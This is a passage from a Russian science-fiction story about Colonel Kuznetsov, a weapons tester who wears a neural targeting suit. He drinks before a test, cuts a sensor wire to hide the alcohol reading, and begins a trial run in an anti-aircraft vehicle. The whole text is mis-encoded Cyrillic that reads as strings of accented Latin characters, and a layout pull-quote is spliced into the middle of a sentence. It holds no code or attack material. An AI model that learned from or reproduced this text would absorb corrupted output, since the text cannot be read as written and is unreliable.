íà òî, ÷òî ñîçäàíî ñóïåðîðóæèå,

êîòîðîå â áëèæàéøåå âðåìÿ
èçáàâèò ïëàíåòó îò àãðåññîðîâ 



íåêîå ïîäîáèå æèâîãî ïðèöåëà. Îò íåãî òðåáîâàëîñü óâèäåòü öåëü
è îïðåäåëèòü åå ïðèíàäëåæíîñòü - ëèáî ê íàøåìó ìèðó, ëèáî ê
÷óæäîìó íàì. È âîò òîãäà óæå â áîé âñòóïàëî æåëåçî.

Âðîäå áû âñå ïîëó÷èëîñü. Íî èìåòü íà âñþ ïëàíåòó âñåãî äâàä-
öàòü "æèâûõ ïðèöåëîâ" - áåçóìíî ìàëî. Ðàáîòû áûëè íàïðàâëåíû
íà ðàñøèðåíèå êðóãà ëþäåé, ñïîñîáíûõ óïðàâëÿòü ïîäîáíîãî ðîäà
òåõíèêîé. Â î÷åðåäíîé ðàç êîìàíäó ïðîãðàììèñòîâ ëèõîðàäèëî.
Ëþäè ïðîäîëæàëè ãèáíóòü, àìîðôû òåððîðèçèðîâàëè Çåìëþ ñ çà-
âèäíîé ïåðèîäè÷íîñòüþ, çàñòàâëÿÿ ëþäåé ñî ñòðàõîì ñìîòðåòü â
íåáî. Îäíè áåçóìíûå ïðîåêòû ñìåíÿëè äðóãèå; ëþäè òåðÿëè ñâîè
äîëæíîñòè, ÷òî áûëî äëÿ âîåííûõ âåäîìñòâ îáû÷íûì ÿâëåíèåì
ïðè íåâûïîëíåíèè ïðèêàçà âîâðåìÿ - à ýòè ðàáîòû âûïîëíÿëèñü íà
óðîâíå ïðèêàçîâ, âîçðàæåíèÿ è ïðîìàõè íå ïðèíèìàëèñü, è òîëüêî
îãðîìíûé àâòîðèòåò ó÷åíûõ óäåðæèâàë ðóêîâîäèòåëåé ïðîåêòà îò
ðåøåíèÿ âîïðîñîâ â äóõå âîåííîãî âðåìåíè. Õîòÿ ñëîâî "ðàññòðåë"
íåîäíîêðàòíî çâó÷àëî â ðå÷è ìèíèñòðîâ îáîðîíû.

Êîíå÷íî, âñå ïîëó÷èëîñü. Â òàêèå òðóäíûå ãîäû âñå äîëæíî ïî-
ëó÷àòüñÿ - èíà÷å ïðîñòî è áûòü íå ìîæåò. Ðåøåíèå ïðèøëî âíåçàï-
íî; îòëè÷èëñÿ îäèí èç íåéðîôèçèîëîãîâ, â ñâîå âðåìÿ íàïèñàâøèé
çàóìíóþ ðàáîòó, ïîñâÿùåííóþ ñòðîåíèþ ñåò÷àòêè ãëàçà. È â îòëè-
÷èå îò åãî äèññåðòàöèè, êîòîðàÿ áûëà ïîíÿòíà ëèøü óçêîìó êðóãó
ñïåöèàëèñòîâ, åãî èçîáðåòåíèå îêàçàëîñü áëèçêî è äîñòóïíî äå-
ñÿòêàì òûñÿ÷ ëþäåé.

Ñ ïîìîùüþ íåáîëüøîé ãðóïïû ïðîãðàììèñòîâ îí ñóìåë ðàçðà-
áîòàòü ïðèöåë, ïðîåöèðóþùèéñÿ íåïîñðåäñòâåííî íà ãëàçíîå äíî,
íà ñàìó ñåò÷àòêó. Èçó÷èâ ðàáîòó ìîçãîâûõ öåíòðîâ è îñíîâûâàÿñü
íà ïåðâûõ îïûòàõ ñ ó÷àñòèåì ëþäåé ñ ïàðàíîðìàëüíûìè ñïîñîáíî-
ñòÿìè, îí ñóìåë ñîçäàòü ïðèíöèï îïðåäåëåíèÿ öåëè.

Íà ñåò÷àòêó îäíîãî ãëàçà ïðîåöèðîâàëñÿ ñàì îáúåêò, à íà ñåò-
÷àòêó âòîðîãî - íåïðåðûâíàÿ öåïü àññîöèèðîâàííûõ îáðàçîâ. Âñå

äåëî áûëî â èõ ñîâïàäåíèè - ïðè ïîÿâëåíèè ñõîäñòâà (ïðîãðàììà
îïðåäåëÿëà åãî áîëåå ÷åì ïî ñîðîêà ïàðàìåòðàì ÷åëîâå÷åñêîãî
îðãàíèçìà, êîòîðûå ïðè ýòîì èçìåíÿëèñü) óïðàâëåíèå ïåðåäàâà-
ëîñü áîåâîìó êîìïüþòåðó. Íî ñàìîå ãëàâíîå áûëî íå â ýòîì - ïðè
ïîÿâëåíèè íåèçâåñòíîé öåëè êîìïüþòåð îñîáûì îáðàçîì ïîäñòå-
ãèâàë öåíòðû àíàëèçà è ñèíòåçà çðèòåëüíîé èíôîðìàöèè, ïîçâî-
ëÿÿ ÷åëîâåêó ñàìîñòîÿòåëüíî ïðèíÿòü ðåøåíèå î ïðèíàäëåæíîñ-
òè ëåòàòåëüíîãî àïïàðàòà, ïîñëå ÷åãî ïîëó÷åííûé îáðàç äîïîëíÿë
ñîáîé áàçó äàííûõ. Ïðîöåíò ïîãðåøíîñòè ïðè ýòîì áûë ìèíè-
ìàëüíûì - âñåãî íåñêîëüêî òûñÿ÷íûõ. Îñòàâàëîñü èñïîëüçîâàòü
âîçìîæíîñòè ÷åëîâåêà, èãðàþùåãî ðîëü ïðèöåëà, áîëåå àêòèâíî
- áûë ñîçäàí êîñòþì, êîòîðûé îïðåäåëÿë óâåðåííîñòü è ãîòîâ-
íîñòü ÷åëîâåêà ñòðåëÿòü; íàõîäÿñü âíóòðè ýòîãî ýëàñòè÷íîãî îá-
ëåãàþùåãî êîñòþìà, ÷åëîâåê ïðåâðàùàëñÿ íå òîëüêî â ïðèöåë, îí
ñòàíîâèëñÿ æèâûì ñïóñêîâûì ìåõàíèçìîì. Êàæäîå øåâåëåíèå
åãî ïàëüöà, ãëóáîêèé âäîõ, ïîâîðîò ãîëîâû - ëþáîå äâèæåíèå òå-
ëà âûçûâàëî ðåàêöèþ àâòîìàòèêè è ïîä÷èíÿëî ñåáå ìåõàíèçìû
ñòðåëüáû è äâèæåíèÿ.

Êîíå÷íî, ñóùåñòâîâàëè ìîìåíòû, êîãäà ïðîñòî íåâîçìîæíî áû-
ëî äîâåðèòü îòâåòñòâåííîå ðåøåíèå ÷åëîâåêó - è íàîáîðîò, íå âñå
ìîã êîìïüþòåð. Ñèñòåìà êîíòðîëèðîâàëà ñàìà ñåáÿ, ïûòàÿñü äî-
ñòè÷ü ðàâíîâåñèÿ. Ïî áîëüøîìó ñ÷åòó, ðîëü ÷åëîâåêà ñâîäèëàñü
âñå-òàêè íå ê òîìó, ÷òîáû ñòðåëÿòü - ñêîðåå, íàîáîðîò, ê òîìó, ÷òî-
áû íå äîïóñòèòü íåîáðàòèìûõ âåùåé, òèïà ñòðåëüáû ïî ïàññàæèð-
ñêèì ñàìîëåòàì.

Ê èñïûòàíèþ íîâûõ âèäîâ âîîðóæåíèÿ áûëè ïðèâëå÷åíû ëó÷øèå
èñïûòàòåëè ñî âñåãî ìèðà. Â èõ ÷èñëå îêàçàëñÿ è ïîëêîâíèê Êóçíå-
öîâ, òîãäà åùå èìåâøèé âìåñòî òðåõ çâåçä íà ïîãîíàõ âñåãî îäíó.
Ïîíà÷àëó âñå êàçàëîñü åìó ÷åðåñ÷óð ñëîæíûì, çàïóòàííûì - óñòà-
âàëè ãëàçà, ê âå÷åðó êðóæèëàñü ãîëîâà, ñòàëî ïðûãàòü äàâëåíèå
(âñå ýòî áûëî ïîáî÷íûìè ÿâëåíèÿìè îò áëèêîâûõ óñòðîéñòâ, ïðî-
åöèðóþùèõ ïðèöåë - äîñòàòî÷íî áûñòðî áûëè èçîáðåòåíû óñïîêà-
èâàþùèå âåùåñòâà, íå âëèÿþùèå íà ñêîðîñòü ðåàêöèè, è îá ýòîé
ïðîáëåìå çàáûëè).

Ïîñòåïåííî îí âòÿíóëñÿ. Ïîíà÷àëó ñòàë ïîêàçûâàòü õîðîøèå ðå-
çóëüòàòû â ñòðåëüáå, ïîòîì ñîðåâíîâàëñÿ â ñêîðîñòè ñ êîìïüþòå-

ðîì, óãàäûâàÿ íîâûå öåëè; åãî ïðèâëåêàëè òåñòèðîâàòü "íà÷èíêó"
òàíêîâ, àðòèëëåðèè, øòóðìîâèêîâ, ïåðåäâèæíûõ çåíèòíûõ êîì-
ïëåêñîâ. Â "ðóññêîì çâåíå" ïðîãðàììû "Çàùèòíèêè íåáà" Êóçíå-
öîâ, ìãíîâåííî âçëåòåâøèé ïî ñëóæåáíîé ëåñòíèöå, ñ÷èòàëñÿ åäâà
ëè íå ñàìûì ëó÷øèì. Åãî ðåçóëüòàòû äîñòèãàëè ñàìûõ âûñîêèõ
öèôð, âðåìÿ îò âðåìåíè îí ïðèâëåêàëñÿ ê ïàòðóëèðîâàíèþ Ñèáèð-
ñêîãî ñåêòîðà â îæèäàíèè ïðîãíîçèðóåìûõ íàïàäåíèé àìîðôîâ è
ñáèë íåñêîëüêî èõ áîåâûõ êàòåðîâ. Íî îñíîâíûå åãî óñïåõè áûëè,
êîíå÷íî æå, íà ïîëèãîíå.

Òåõíèêà, ïðîøåäøàÿ ÷åðåç åãî ðóêè, ïðàêòè÷åñêè âñåãäà óõîäè-
ëà â ñåðèéíîå ïðîèçâîäñòâî - ëèáî øëà â "êîðçèíó". Ê åãî ìíåíèþ
ïðèñëóøèâàëèñü ïðîãðàììèñòû, èçãîòîâèòåëè âîîðóæåíèÿ, ïðîèç-
âîäèòåëè ïðèöåëîâ, îðãàíèçàòîðû îáîðîííûõ ðóáåæåé è ïðîñòûå
ñîëäàòû, ó÷àñòâóþùèå â îáñëóæèâàíèè âûñîêîèíòåëëåêòóàëüíîé
òåõíèêè. Åãî àâòîðèòåò âûðîñ äî íåäîñÿãàåìûõ âåðøèí - è ëèøü
ñìåðòü ñûíà çàñòàâèëà åãî èçìåíèòü ñâîè âçãëÿäû íà âîéíó.

Òà íåâîîáðàçèìàÿ óñòàëîñòü, êîòîðàÿ îáðóøèëàñü íà íåãî, çà-
ïîëíÿÿ ïóñòîòó â ñåðäöå, ïîáóäèëà åãî ñòàòü áîëåå òî÷íûì, áîëåå
âíèìàòåëüíûì, áîëåå òðåáîâàòåëüíûì ê ñåáå. Ðàáîòà ñòàëà ñìûñ-
ëîì åãî æèçíè - îí õîòåë êàæäûì ñâîèì äâèæåíèåì, âçãëÿäîì, âû-
ñòðåëîì ïðèáëèçèòü êîíåö âîéíû. Êóçíåöîâ âîçëîæèë íà ñåáå ìèñ-
ñèþ ìåñòè - è íåñ åå çíàìÿ, ãîðäî ïîäíÿâ ãîëîâó. Ïðèçðàê ñûíà
âðåìÿ îò âðåìåíè âñïëûâàë ïåðåä åãî ðàñ÷åð÷åííûìè íà ïðèöåëü-
íûå ñåòêè ãëàçàìè�

* * * * *
Íàäåâàíèå êîñòþìà òðåáîâàëî îïðåäåëåííûõ íàâûêîâ, êîòîðû-

ìè Êóçíåöîâ îáëàäàë óæå íà óðîâíå àâòîìàòèçìà. Ñàìûì ñëîæíûì
áûëî ñîâìåñòèòü ìåòêè ñåíñîðîâ íà âíóòðåííîñòÿõ êîñòþìà ñ äàò-
÷èêàìè, âíåäðåííûìè íåïîñðåäñòâåííî ïîä êîæó. Äâà ðàçà â ãîä
èñïûòàòåëè ïðîõîäèëè ìåäèöèíñêîå îáñëåäîâàíèå íà ïðåäìåò ìè-
ãðàöèè äàò÷èêîâ - èíîðîäíûå òåëà â òåëå ÷åëîâåêà, êàê áû íè ñòà-
ðàëàñü íàóêà ñäåëàòü èõ ìàêñèìàëüíî ðîäñòâåííûìè êàæäîìó îôè-
öåðó â îòäåëüíîñòè, âðåìÿ îò âðåìåíè ìîãëè áûòü èñòîðãíóòû íà-
ðóæó; îðãàíèçìû ëþäåé ïîä ðóêîâîäñòâîì ìåäèêîâ ïîòèõîíüêó
ñìèðÿëèñü ñ òåì, ÷òî ãäå-òî âíóòðè íàõîäÿòñÿ ìàëåíüêèå êâàäðàòè-
êè èç ñâåðõïðîâîäíèêà, ïðèçâàííûå äîâîäèòü äî êîíòðîëüíîé àï-
ïàðàòóðû ïàðàìåòðû ÷åëîâå÷åñêîãî òåëà.

Ïîëêîâíèê ïðåêðàñíî çíàë ðàñïîëîæåíèå êàæäîãî èç íèõ - âñå-
ãî òàêèõ äàò÷èêîâ áûëî äâàäöàòü ÷åòûðå. Êîãäà îáëåãàþùàÿ ñèíòå-
òèêà êîñòþìà êîñíóëàñü êîæè, ÷òîáû íà âðåìÿ ðàáîòû ñëèòüñÿ ñ
íåé â åäèíîå öåëîå, íà ýêðàíå ïåðåä íèì ïîÿâèëñÿ êîíòóð ñîáñò-
âåííîãî òåëà, íà êîòîðîì ïîî÷åðåäíî çàæèãàëèñü çåëåíûå îãîíüêè
- äàò÷èêè êîñòþìà è ïîäêîæíûå êðèñòàëëû âõîäèëè â êîíòàêò, êîì-
ïüþòåð îáìåíèâàëñÿ ñ íèìè äàííûìè, ïîñëå ÷åãî ìèãàíèå îãîíüêà
ïðåêðàùàëîñü, è îí íà÷èíàë ãîðåòü ðîâíûì ñâåòîì, ïîäòâåðæäàÿ
ïðàâèëüíîñòü ïîäêëþ÷åíèÿ è îòñóòñòâèå ïàòîëîãèè íà ñâîåì ó÷àñò-
êå. Ïî áîëüøîìó ñ÷åòó, òî, ÷òî äåëàë íà ìåäîñìîòðå Âîëîùóê, íå
òðåáîâàëîñü - çäåñü âñå ïðîèñõîäèëî âíîâü, è íà áîëåå âûñîêîì
óðîâíå. Ïðîñòî â àðìèè òàê áûëî âñåãäà - îòäàâàòü äàíü òåì èíñò-
ðóêöèÿì, ÷òî áûëè íàïèñàíû çàäîëãî äî ïîÿâëåíèÿ ïîäîáíûõ êîì-
ïüþòåðíûõ àíàëèçàòîðîâ.

Êóçíåöîâ ñòàðàëñÿ íå ñìîòðåòü íà ýêðàí - âñÿ ýòà èíôîðìàöèÿ
åãî íå èíòåðåñîâàëà. Îí ïðåêðàñíî ïîíèìàë, ÷òî â òå÷åíèå áëè-
æàéøåé ìèíóòû áóäåò îïðåäåëåí íåäîïóñòèìûé óðîâåíü àëêîãîëü
â êðîâè è - âîçìîæíî - èçìåíåíèÿ â êàðäèîãðàììå. Íî èçìåíèòü
åãî ðåøåíèÿ ýòî óæå íå ìîãëî.

Êîãäà-òî, ïàðó ëåò íàçàä, îí óæå èñïûòûâàë íà ñåáå íå÷òî ïîäîá-
íîå - íàäåÿëñÿ íàéòè íåêèé êàòàëèçàòîð, ïðè ïîìîùè êîòîðîãî ïðî-
öåíò îøèáîê ïðè ñòðåëüáå ìîæíî ñâåñòè ê àáñîëþòíîìó íóëþ. Ðå-
çóëüòàò áûë äîâîëüíî ïðåäñêàçóåì - ýòî îêàçàëñÿ ÀËÊÎÃÎËÜ. Ïîäî-
áðàòü òàêóþ äîçó, êîòîðàÿ âëèÿëà áû íà ðàñòîðìàæèâàíèå àññîöèà-
öèé, ïðè ýòîì íå íàðóøàÿ êîîðäèíàöèè, îêàçàëîñü î÷åíü ñëîæíî -
íî ïîëêîâíèê ñóìåë ýòî ñäåëàòü ïóòåì äëèòåëüíûõ ýêñïåðèìåíòîâ
íà ñåáå. Ñåãîäíÿ óòðîì îí îòïèë èç ëþáèìîé ôëÿæêè ðîâíî ñòîëü-
êî êîíüÿêà, ñêîëüêî òðåáîâàëîñü äëÿ óñïåøíîé ñòðåëüáû.

Îäèí èç äàò÷èêîâ, àíàëèçèðóþùèõ õèìè÷åñêèé ñîñòàâ êðîâè,
ïèñêíóë è çàãîðåëñÿ êðàñíûì. Êóçíåöîâ óãðþìî ïîñìîòðåë íà ýòó
ÿðêóþ òî÷êó íà ýêðàíå êîìïüþòåðà, áåçî âñÿêèõ ýìîöèé âçÿë ñî
ñòîëà çàðàíåå ïðèãîòîâëåííûé ñêàëüïåëü è, àêêóðàòíî ïðèêîñíóâ-
øèñü ê ìåäíîìó ïðîâîäíèêó, èäóùåìó âäîëü ðóêàâà ê ãëàâíîìó
àíàëèçàòîðó íà ëåâîì ïëå÷å, ïåðåðåçàë åãî. Ëàìïî÷êà ïîãàñëà.

×åðåç ïàðó ñåêóíä äîëæíà áûëà çàãîðåòüñÿ åùå îäíà, ïðåäó-
ïðåæäàÿ î ïðîáëåìàõ ñ ñåðäöåì. Íî ýòîãî íå ïðîèçîøëî - êîìïüþ-
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Ïîëêîâíèê ïðåêðàñíî çíàë
ðàñïîëîæåíèå êàæäîãî èç íèõ

- âñåãî òàêèõ äàò÷èêîâ áûëî
äâàäöàòü ÷åòûðå.



òåð ïîñ÷èòàë, ÷òî "ìîòîð" ó Êóçíåöîâà â íàñòîÿùèé ìîìåíò ðàáîòà-
åò äîñòàòî÷íî õîðîøî. Ïîëêîâíèê êàðòèííî êèâíóë ýêðàíó, áëàãîäà-
ðÿ åãî çà ñíèñõîäèòåëüíîñòü, ïîñëå ÷åãî ïðîòÿíóë ðóêè ê øëåìó.

Ýòî áûëà ñàìàÿ ãëàâíàÿ äåòàëü êîñòþìà. Åãî îñíîâà, òàê ñêà-
çàòü. Ðàìà øëåìà ñîîáùàëàñü ñ ãîëîâíûì ìîçãîì ÷åðåç íåñêîëüêî
äàò÷èêîâ, êîëüöîì îïîÿñûâàþùèõ ÷åðåï. Íå÷òî, íàïîìèíàþùåå
î÷êè äëÿ âèðòóàëüíîé ðåàëüíîñòè, íàäâèãàëîñü íà ãëàçà è îòãîðà-
æèâàëî ïîëêîâíèêà îò âñåãî ìèðà. ×åðåç íåñêîëüêî ñåêóíä çàïóñ-
êàëàñü ïðîãðàììà äëÿ àäàïòàöèè ãëàç, íà ñåò÷àòêó ïðîåöèðîâàëèñü
ðàçëè÷íûå ãåîìåòðè÷åñêèå óçîðû ñ ïîñòåïåííûì íàðàñòàíèåì ÿð-
êîñòè è êîíòðàñòíîñòè. ×åðåç äâå ñ ïîëîâèíîé ìèíóòû ïîñëå íàäå-
âàíèÿ øëåìà ïîëêîâíèê áûë ãîòîâ.

Îí ìåäëåííî âñòàë, ïðèñëóøèâàÿñü ê ñâîèì îùóùåíèÿì. Êîñ-
òþì ñòàë âòîðîé êîæåé; Êóçíåöîâ îùóùàë âçàèìîäåéñòâèå äàò÷è-
êîâ ñ òåëîì. Ñêâîçü áîåâîé àíàëèçàòîðíûé áëîê â òåêóùèé ìîìåíò
âðåìåíè ïðîïóñêàëñÿ îãðîìíûé îáúåì èíôîðìàöèè, êîíòðîëèðóþ-
ùèé âñå ñèãíàëüíûå ñèñòåìû; ïîäêëþ÷åíèå ê àññîöèàòèâíûì öåí-
òðàì ìîçãà àêòèâèðîâàëîñü ïîñòåïåííî, êàê áû èñïîäâîëü - ÷òîáû
íå âûçâàòü òîãî, ÷òî íà ïåðâûõ ïîðàõ ýêñïåðèìåíòîâ íàçûâàëîñü
"ãàëëþöèíàòîðíûì øòîðìîì". Èñïûòàòåëè îêàçûâàëèñü â ïëåíó
ñîáñòâåííûõ ýìîöèîíàëüíûõ êîøìàðîâ, âûòàùåííûõ èç ãëóáèí ñî-
çíàíèÿ ïðè ïîìîùè çîíäèðîâàíèÿ. Îáðàçû, âíåçàïíî íàêàòûâàâ-
øèå íà èñïûòàòåëåé, íå îáÿçàòåëüíî áûëè æóòêèìè - íî, òåì íå
ìåíåå, çíà÷èòåëüíàÿ ÷àñòü ëþäåé îòñåÿëàñü èìåííî â ýòîò ïåðèîä
ñîâåðøåíñòâîâàíèÿ òåõíèêè.

Êóçíåöîâ â ñâîå âðåìÿ òîæå èñïûòàë "ãàëëþöèíàòîðíûé
øòîðì" íà ñåáå - ÓÂÈÄÅÂ Â ÏÐÈÖÅËÅ ËÈÖÎ ÑÂÎÅÉ ÌÀÒÅÐÈ.
Òîãäà îí ñ òðóäîì ñóìåë ñïðàâèòüñÿ ñ ñîáîé. Ïîõîðîíèâ ìàòü
øåñòü ëåò íàçàä, îí íèêàê íå ìîã îæèäàòü åå óâèäåòü - à êîì-
ïüþòåðó áûëî àáñîëþòíî âñå ðàâíî, êàêèå îáðàçû ïîäêëþ÷àòü
ê áîåâîìó àíàëèçàòîðó. Ïîêèíóâ ïèëîòñêóþ êàáèíó èñòðåáèòå-
ëÿ, êîòîðûé â ýòîò ìîìåíò ãîòîâèëñÿ ê âçëåòó, Êóçíåöîâ âèõ-
ðåì âîðâàëñÿ â äèñïåò÷åðñêóþ ê îïåðàòîðàì ïîëèãîíà è â æå-
ñòêîé ôîðìå ïîòðåáîâàë îáúÿñíåíèé ïðîèñõîäÿùåãî. Ïîñëå
ýòîãî â îáëàñòè ìåäèöèíû, ðàáîòàþùåé â òåñíîì êîíòàêòå ñ
ãðóïïîé ïî "èñêóññòâåííîìó èíòåëëåêòó", ïîÿâèëñÿ "ñèíäðîì
Êóçíåöîâà". Íà áîðüáó ñ íèì áûëè íàïðàâëåíû ìíîæåñòâî
ïñèõîëîãîâ, ïñèõèàòðîâ è ñïåöèàëèñòîâ ïî íåéðîïðîãðàììè-
ðîâàíèþ. Ðåøåíèå íàøëîñü - è çàêëþ÷àëîñü îíî â ïîñòåïåí-
íîì "ðàçîãðåâå" öåíòðîâ, îòâåòñòâåííûõ çà ïàìÿòü è àññîöèà-
öèè. Êàê âûÿñíèëîñü, äëÿ ýòîãî äîñòàòî÷íî áûëî ðàñòÿíóòü
ïðîöåññ âêëþ÷åíèÿ öåíòðîâ íà äâå ìèíóòû. Äîáàâèâ ê ïîëó-
÷åííîìó ðåçóëüòàòó åùå òðèäöàòü ñåêóíä, ó÷åíûå ïîëó÷èëè ãà-
ðàíòèðîâàííûé ðåçóëüòàò. Êîìïüþòåð óñïåâàë îòñåÿòü ãàììû
îáðàçîâ, íå íóæíûõ äëÿ îïîçíàíèÿ êîðàáëåé àìîðôîâ, áëîêè-
ðóÿ èõ íà òî âðåìÿ, êîòîðîå ìîçã ÷åëîâåêà íàõîäèëñÿ â ïîä-
êëþ÷åíèè ê ïðèöåëüíîé ñèñòåìå.

Ïåðâûå øàãè ê âûõîäó íà ïîëèãîí äàâàëèñü ñ òðóäîì - êîìïüþ-
òåð àíàëèçèðîâàë ìûøå÷íûé òîíóñ è ñîçäàâàë íàèëó÷øèå óñëîâèÿ
äëÿ äâèæåíèé. Ïîñòåïåííî òÿæåñòü ïðè õîäüáå èñ÷åçëà, íàïðîòèâ
- ïîÿâèëàñü ëåãêîñòü, óâåðåííîñòü â ñåáå. Ïîäîéäÿ ê ñëóæåáíîìó
ëèôòó, Êóçíåöîâ äîæäàëñÿ, êîãäà àâòîìàòèêà îïîçíàåò åãî è âïóñ-
òèò â øàõòó. Êàáèíà áûñòðî âûíåñëà åãî íàâåðõ, ãäå äîæäèê óæå çà-
êîí÷èëñÿ è óñòóïèë ìåñòî ñîëíå÷íîìó äíþ.

Â äâàäöàòè ìåòðàõ îò âûõîäà ñòîÿëî î÷åðåäíîå ÷óäî âîåííîé
òåõíèêè - ïåðåäâèæíîé çåíèòíî-ðàêåòíûé êîìïëåêñ íà áàçå ãóñå-
íè÷íîãî âåçäåõîäà. Òåîðèÿ Êóçíåöîâà î êðàñîòå â î÷åðåäíîé ðàç
íàõîäèëà ñâîå ïîäòâåðæäåíèå. Ìàøèíà îòíþäü íå ïðîèçâîäèëà
âïå÷àòëåíèÿ ãðîìîçäêîñòè, íåóêëþæåñòè. Èäÿ ñêâîçü êîðîòêèé
ñòðîé ïàòðóëåé, ïîëêîâíèê îòìå÷àë â íåé ÷åðòû, ïðèñóùèå ñêîðåå
÷åìó-òî ëåãêîìó è âîçäóøíîìó; âåñ áðîíè íå îùóùàëñÿ äàæå ïðè
ïîäõîäå âïëîòíóþ.

×åòûðå òîíêèõ îðóäèéíûõ ñòâîëà, ñîáðàííûõ íà òóðåëè ïî äâà,
ñìîòðåëè âåðòèêàëüíî â íåáî. Âïåðåäè íèõ - äâå íåñóùèå ðåëüñû
äëÿ ðàêåò. Ñåé÷àñ îíè áûëè ïóñòû - â çàäà÷ó èñïûòàíèÿ ðàêåò íå
âõîäèëè. Êòî-òî íå óñïåë äîðàáîòàòü ñèñòåìó íàâîäêè íà èñòî÷íè-
êè èçëó÷åíèÿ òåïëà, è ðàêåòû ñ çàäàíèÿ ñíÿëè.

Âîçëå ìàøèíû ñòîÿë èíæåíåð, ãîòîâèâøèé åå ê ðàáîòå. Åãî ïîë-
êîâíèê âèäåë âïåðâûå; êîðîòêî êîçûðíóâ åìó, îí ïðîòÿíóë ðóêó.
Èíæåíåð êèâíóë, âëîæèë â ëàäîíü Êóçíåöîâó êëþ÷, ñïðîñèë:

- Âîïðîñû áóäóò?
- Íåò, - êîðîòêî îòâåòèë Êóçíåöîâ. - Âû ñäåëàëè òî, ÷òî ÿ ïðî-

ñèë?
Èíæåíåð óñìåõíóëñÿ, ìàõíóë ðóêîé:

- Äà. Ïðîñòî ñêàæåòå âñëóõ, ÷òî âàì íàäî - è âàñ óñëûøàò.
- Çàìå÷àòåëüíî, - óëûáíóëñÿ ïîä ïðèöåëüíîé ìàñêîé Êóçíåöîâ.

- Âû ïîçâîëèòå?
È îí, âçÿâøèñü ðóêîé çà ìíîãî÷èñëåííûå ïîðó÷íè, ðàñïîëîæåí-

íûå âäîëü áîðòà, çàïðûãíóë íà áðîíþ, àêêóðàòíî íûðíóë â ëþê è
çàêðûë åãî çà ñîáîé.

Âíóòðè áûëî ïðîñòîðíî - íî ýòî òîëüêî ïîòîìó, ÷òî ñåãîäíÿ ýêè-
ïàæ áûë íå â ïîëíîì ñîñòàâå. Îáû÷íî îí ñîñòîÿë èç òðåõ ÷åëîâåê
- êîìàíäèðà, âîäèòåëÿ è ñòàðøåãî ïî âîîðóæåíèþ, êîòîðûé âûïîë-
íÿë ôóíêöèè èíæåíåðà-ïðîãðàììèñòà, íàâîä÷èêà è òåõíèêà. Ñåãî-
äíÿ æå Êóçíåöîâ ñîáèðàëñÿ îäèí çàìåíèòü âñåõ.

Îí îïóñòèëñÿ â êðåñëå âîäèòåëÿ è ïîäêëþ÷èë ñâîé êîñòþì ïðè
ïîìîùè ïàðû ñïåöèàëüíûõ ðàçúåìîâ ê áîðòîâîé êîìïüþòåðíîé ñå-
òè, êîòîðàÿ çàìûêàëàñü íà îïåðàòîðà ïîëèãîíà. Â óøàõ íåãðîìêî
òðåñíóëî, çàøèïåëî, ïîòîì ðàçäàëîñü ïðèâåòñòâèå äåæóðíîãî ïî
ïîëèãîíó:

- "Ðûáà-ìîëîò", âûäâèæåíèå ê ñòàðòó ðàçðåøàþ.
- Ïðèíÿë, - êîðîòêî ñêàçàë ïîëêîâíèê, ñèëüíî ñæàë âåêè, ïîòîì

ìåäëåííî îòêðûë ãëàçà. Ýòî áûë ñèãíàë äëÿ àêòèâàöèè ïðèöåëîâ.
Ìÿãêî çàñâåòèëèñü ëó÷èêè, èäóùèå îòêóäà-òî îò íàðóæíûõ óãëîâ
ãëàç; ñî ñòîðîíû ýòî âûãëÿäåëî êàê îðåîëû ñâåòà âîêðóã ãëàç.

- Íó ÷òî, ïðîâåðèì, ÷òî îíè ñäåëàëè, - óñìåõíóëñÿ Êóçíåöîâ,
ñëåäÿ çà ìèìèêîé (ëþáîå íåîñòîðîæíîå äâèæåíèå ìîãëî âêëþ÷èòü
àâòîìàòèêó ñòðåëüáû). - Ìóçûêó�

Â óøàõ çàçâó÷àëà áàñ-ãèòàðà, à ÷åðåç íåñêîëüêî ñåêóíä - äî áî-
ëè çíàêîìîå: "A vacation in the foreign land, Uncle Sam does the best
he can..."

- You're in the army now... - ïîäïåë Êóçíåöîâ. - Ìîëîäåö� "Ðû-
áà-ìîëîò" - îïåðàòîðó. ß íà ïîçèöèè. Ê ðàáîòå ãîòîâ.

- Ïî ñèãíàëó "Òðè" - àêòèâèðîâàòü áîåâóþ àâòîìàòèêó, ïî ñèãíà-
ëó "Ïÿòü" - íà÷àòü äâèæåíèå. Ïåðâîå ïðåïÿòñòâèå íàçåìíîå, âòî-
ðîå è òðåòüå - âîçäóøíûå. Çàäà÷è - ïðîâåðèòü õîäîâóþ ÷àñòü, îò-
ðàáîòàòü ñòðåëüáó ïî ñòåíäó, ïîñëå ÷åãî âûïîëíèòü òåñòû ïî àññî-
öèàöèÿì ñ âîçäóøíûìè öåëÿìè. Êàê ïîíÿëè?

Êóçíåöîâ ïîâòîðèë âñå è çàìåð â îæèäàíèè ñ÷åòà.
- Îäèí� Äâà� - íà÷àë ñ÷èòàòü ñòàðòîâûé ðîáîò. Íà ñ÷åò "Òðè"

Êóçíåöîâ ðåçêî ñæàë â êóëàê ëåâóþ êèñòü, ïîâåðíóâ åå âíóòðü. Íà
áðîíå ÷óâñòâèòåëüíûå ñåðâîìîòîðû òóðåëè âçâèçãíóëè íà äîëþ ñå-
êóíäû, ïåðåõîäÿ èç äåæóðíîãî ðåæèìà "stand by" â ðåæèì àêòèâíî-
ãî ïàòðóëèðîâàíèÿ. Ñòâîëû êà÷íóëèñü è ñèíõðîííî ïîäíÿëèñü ê íå-
áó â ïîõîäíîå ïîëîæåíèå.

- ×åòûðå� Ïÿòü� - äîãîâîðèë ìåòàëëè÷åñêèé ãîëîñ.
- Âïåðåä, - ñêîìàíäîâàë Êóçíåöîâ. È ïîñëóøíàÿ ìàøèíà îòêëèê-

íóëàñü íà åãî ïðèêàç ïëàâíûì äâèæåíèåì. Äâèãàòåëü âûáðîñèë îá-
ëà÷êî ÷åðíîãî äûìà, ãóñåíèöû âçìåòíóëè ãðÿçü - èñïûòàíèå íà÷à-
ëîñü.

Ïîëêîâíèê ïðàêòè÷åñêè íå îùóùàë äâèæåíèÿ âíóòðè ìàøèíû.
Ïîäâåñêà, áóäó÷è â òàêîé òåõíèêå àêòèâíîé è "äóìàþùåé", çàðàíåå
îòñëåæèâàëà âñå íåðîâíîñòè ìåñòíîñòè, âêëþ÷àëà êîìïåíñàòîðû,
ïîçâîëÿÿ âîäèòåëþ â ñâîåé ìèêðîêàïñóëå èñïûòûâàòü êîìôîðò,
êàêîãî òîëüêî ìîæíî äîñòè÷ü â òåõíèêå. Ïðîéäÿ íåñêîëüêî ïîâîðî-
